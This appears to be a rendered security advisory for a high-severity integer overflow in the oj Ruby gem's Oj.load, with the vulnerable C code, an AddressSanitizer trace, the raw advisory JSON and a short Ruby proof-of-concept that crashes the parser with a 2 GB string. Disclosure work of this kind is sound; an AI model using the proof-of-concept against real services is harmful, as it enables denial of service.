ghsa-475m-ph3x-64gp
CVSS 8.7 osv_rubygems### Summary `Oj.load` is vulnerable to heap corruption when parsing a JSON string longer than 2 GB. An integer overflow in `buf_append_string` (`buf.h:61`) converts the string length to a large negative `size_t`, causing `memcpy` to copy an astronomically large amount of data out of bounds. This crashes the process and can corrupt adjacent heap memory. ### Version - **Software**: oj gem - **Affected**: all versions with `ext/oj/buf.h` and `ext/oj/parse.c` - **Latest tested**: 3.17.1 (confirmed present) ### Details `ext/oj/buf.h`, line 61: ```c inline static void buf_append_string(Buf buf, const char *s, size_t slen) { // ... memcpy(buf->tail, s, slen); // slen derived from 32-bit int that wrapped negative ``` In `parse.c`, escape sequence handling computes the remaining string length as an `int`: ```c // parse.c:402 (read_escaped_str) int slen = (int)(s - str); // ← wraps to negative when string > 2 GB buf_append_string(buf, str, (size_t)slen); // ← (size_t)(-2147483648) = 0x80000000... ``` ASAN report: ``` ==399019==ERROR: AddressSanitizer: negative-size-param: (size=-2147483648) #0 __asan_memcpy #1 buf_append_string /ext/oj/buf.h:61 #2 read_escaped_str /ext/oj/parse.c:402 #3 read_str /ext/oj/parse.c:542 #4 oj_parse2 /ext/oj/parse.c:882 #5 oj_pi_parse /ext/oj/parse.c:1256 #6 oj_object_parse /ext/oj/object.c:701 #7 load /ext/oj/oj.c:1259 0x7f5a26ff0801 is located 1 bytes inside of 2147483657-byte region [0x7f5a26ff0800, 0x7f5aa6ff0809) ``` ### Reproduce ```ruby require 'oj' n = 1 << 31 # 2 GB json = '"' + ('A' * n) + 'A"' # >2GB JSON string with a trailing escape Oj.load(json) ```
- Published
- unknown
- Last Modified
- unknown
CVSS details not available.
No product information available.
No linked vulnerabilities found.
{
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{
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"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-475m-ph3x-64gp/GHSA-475m-ph3x-64gp.json"
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"aliases": [
"CVE-2026-54903"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`Oj.load` is vulnerable to heap corruption when parsing a JSON string longer than 2 GB. An integer overflow in `buf_append_string` (`buf.h:61`) converts the string length to a large negative `size_t`, causing `memcpy` to copy an astronomically large amount of data out of bounds. This crashes the process and can corrupt adjacent heap memory.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/buf.h` and `ext/oj/parse.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/buf.h`, line 61:\n\n```c\ninline static void buf_append_string(Buf buf, const char *s, size_t slen) {\n // ...\n memcpy(buf->tail, s, slen); // slen derived from 32-bit int that wrapped negative\n```\n\nIn `parse.c`, escape sequence handling computes the remaining string length as an `int`:\n\n```c\n// parse.c:402 (read_escaped_str)\nint slen = (int)(s - str); // ← wraps to negative when string > 2 GB\nbuf_append_string(buf, str, (size_t)slen); // ← (size_t)(-2147483648) = 0x80000000...\n```\n\nASAN report:\n```\n==399019==ERROR: AddressSanitizer: negative-size-param: (size=-2147483648)\n #0 __asan_memcpy\n #1 buf_append_string /ext/oj/buf.h:61\n #2 read_escaped_str /ext/oj/parse.c:402\n #3 read_str /ext/oj/parse.c:542\n #4 oj_parse2 /ext/oj/parse.c:882\n #5 oj_pi_parse /ext/oj/parse.c:1256\n #6 oj_object_parse /ext/oj/object.c:701\n #7 load /ext/oj/oj.c:1259\n0x7f5a26ff0801 is located 1 bytes inside of 2147483657-byte region [0x7f5a26ff0800, 0x7f5aa6ff0809)\n```\n\n### Reproduce\n\n```ruby\nrequire 'oj'\nn = 1 << 31 # 2 GB\njson = '\"' + ('A' * n) + 'A\"' # >2GB JSON string with a trailing escape\nOj.load(json)\n```",
"id": "GHSA-475m-ph3x-64gp",
"modified": "2026-09-10T03:51:07.824466317Z",
"published": "2026-06-19T20:47:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ohler55/oj/security/advisories/GHSA-475m-ph3x-64gp"
},
{
"type": "PACKAGE",
"url": "https://github.com/ohler55/oj"
}
],
"schema_version": "1.9.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Oj: Integer Overflow in Oj.load 2GB String Handling"
}